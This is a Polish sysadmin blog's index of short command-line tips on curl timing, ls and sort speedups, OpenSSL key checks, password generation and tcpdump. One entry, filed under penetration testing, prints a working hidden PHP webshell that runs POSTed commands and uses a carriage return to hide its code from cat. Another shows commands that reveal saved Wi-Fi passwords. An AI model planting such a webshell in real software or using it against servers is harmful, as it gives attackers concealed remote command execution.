NFsec Logo

Testowanie ruchu HTTP 1.1 za pomocą curl

10/08/2019 (2 tygodnie temu) w Administracja, CmdLineFu, Debug Możliwość komentowania Testowanie ruchu HTTP 1.1 za pomocą curl została wyłączona

C

url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:

curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
 firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
 -o /dev/null -s "https://apka.dev"

Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]

Przyśpieszanie polecenia: ls

10/05/2019 w CmdLineFu Możliwość komentowania Przyśpieszanie polecenia: ls została wyłączona

W

poprzedniej części – dzięki zmiennej środowiskowej udało nam się przyśpieszyć działanie polecenia grep. Dzisiaj zajmiemy się poleceniem: ls. Jeśli polecenie to zajmuje dłuższy czas dla wylistowania bardzo dużej liczby plików – szczególnie jeśli są one umieszczone na sklastrowanych systemach plików typu Lustre możemy sprawdzić, czy ustawienie zmiennej dla niewyświetlania kolorów podczas listowania przyśpieszy operację:

export LS_COLORS='ex=00:su=00:sg=00:ca=00:'

Czyli prosimy ls o niekolorowanie na listingu plików z bitem setuid/setgid, flagą wykonywalności lub możliwościami opartymi na plikach. Analogicznie możemy przyśpieszyć w określonych warunkach (zależy po jakiej treści sortujemy) sortowanie bardzo dużych plików poprzez ustawienie:

export LC_COLLATE=C
export LANG=C

Tylko musimy liczyć się z faktem, że zmieni się zachowanie sortowania, ponieważ program sort uwzględnia te zmienne przy decydowaniu o jego kolejności. Np. LC_COLLATE o wartości en_US.UTF-8 spowoduje, że małe litery zostaną posortowane przed wielkimi literami.

Więcej informacji: When setting an environment variable gives you a 40x speedup

Ukryty webshell w PHP

10/03/2019 w CmdLineFu, Pen Test Możliwość komentowania Ukryty webshell w PHP została wyłączona

 

$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test

 

OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu

10/05/2017 w CmdLineFu Możliwość komentowania OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu została wyłączona

Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:

openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.

Jak wygenerować silne hasła jednorazowe w Linuksie?

18/02/2017 w CmdLineFu Możliwość komentowania Jak wygenerować silne hasła jednorazowe w Linuksie? została wyłączona

pwgen -sy 30
date +%s | sha256sum | base64 | head -c 30 ; echo
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-30}; echo;
gpg --gen-random --armor 1 30
openssl rand -base64 30

Jak znaleźć najszybszy publiczny serwer DNS w Polsce?

02/02/2017 w CmdLineFu Możliwość komentowania Jak znaleźć najszybszy publiczny serwer DNS w Polsce? została wyłączona

curl -s http://public-dns.info/nameserver/pl.csv > list; cat list | cut -d "," -f1 | \
xargs -i timeout 1 ping -c1 -w 1 {} | grep time | \
sed -u "s/.* from \([^:]*\).*time=\([^ ]*\).*/\2\t\1/g" | grep -v "1 packets" | sort -n

Więcej informacji: DNS servers in Poland

Odpalenie polecenia tylko na jedną godzinę

10/04/2016 w CmdLineFu Możliwość komentowania Odpalenie polecenia tylko na jedną godzinę została wyłączona

Użycie polecenia timeout do uruchomienia wybranego polecenia na określony czas działania:

timeout 1h tcpdump -n -i eth0 -w network.pcap not host 192.168.1.5

lub

tcpdump -n -i eth0 -w & pid=$! ; (sleep 3600 ; kill $pid)

Generator losowych haseł dowolnej długości

31/12/2015 w CmdLineFu Możliwość komentowania Generator losowych haseł dowolnej długości została wyłączona

darkstar:~ $ openssl rand -base64 48
TIsXtvV8GYVwLfmu/3QBSgjtYkMt0igSnptSutQaPzBPj5mG5hScYduUlvF7bEQv
darkstar:~ $ openssl rand -base64 8
g3hWwwomLIY=

Odsłonięcie haseł Wi-Fi na Windows i Mac OS X

20/07/2015 w CmdLineFu Możliwość komentowania Odsłonięcie haseł Wi-Fi na Windows i Mac OS X została wyłączona

Na systemie Windows – uruchom „cmd„, z prawami administratora i wydaj polecenie:

netsh wlan show profile name=ssid key=clear

Gdzie ssid to nazwa sieci Wi-Fi. Na Mac OS X w terminalu należy wpisać:

sudo security find-generic-password -ga ssid | grep password

Automatyczne poprawianie literówek w nazwach katalogów

28/01/2014 w CmdLineFu Możliwość komentowania Automatyczne poprawianie literówek w nazwach katalogów została wyłączona

W powłoce bash istnieje możliwość poprawiania drobnych literówek nazw katalogów. Jest to szczególnie przydatna funkcja przy szybkim, ale czasami niedokładnym pisaniu na klawiaturze:

# cd /etc/mall
-bash: cd: /etc/mall: No such file or directory
# shopt -s cdspell
# cd /etc/mall
# pwd
/etc/mail

Polecenie shopt -s cdspell możemy dodać do pliku .bash_profile, aby funkcja ta zawsze była włączona przy otwieraniu nowej powłoki.

Więcej informacji: man bash